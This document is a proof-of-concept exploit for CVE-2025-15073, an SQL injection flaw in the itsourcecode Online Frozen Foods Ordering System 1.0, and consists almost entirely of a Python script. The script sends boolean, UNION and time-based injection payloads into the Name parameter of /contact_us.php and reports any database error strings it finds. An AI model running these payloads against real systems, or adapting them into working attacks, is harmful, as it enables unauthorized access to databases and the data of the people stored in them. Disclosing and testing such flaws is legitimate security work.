CVE-2025-15073 itsourcecode Online Frozen Foods Ordering System 1.0 SQL注入漏洞

# CVE-2025-15073 SQL Injection PoC # Target: itsourcecode Online Frozen Foods Ordering System 1.0 # File: /contact_us.php # Parameter: Name import requests import sys from urllib.parse import urlencode target_url = "http://target.com/contact_us.php" # Basic SQL Injection PoC - Boolean Based payloads = [ "' OR '1'='1", "' OR '1'='1' --", "admin' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--" ] def test_sql_injection(): print(f"[*] Testing CVE-2025-15073 SQL Injection") print(f"[*] Target: {target_url}") for payload in payloads: print(f"\n[+] Testing payload: {payload}") data = { 'Name': payload, 'Email': '[email protected]', 'Message': 'Test message' } try: response = requests.post(target_url, data=data, timeout=10) # Check for SQL error indicators sql_errors = [ 'mysql_fetch', 'mysqli_fetch', 'SQL syntax', 'MySQL', 'Warning', 'mysql_', 'syntax error' ] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[!] SQL Error detected with payload: {payload}") print(f"[!] Error keyword found: {error}") return True print(f"[-] No obvious SQL error with this payload") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("\n[*] Basic PoC testing complete") print("[*] Manual verification recommended") return False if __name__ == "__main__": test_sql_injection()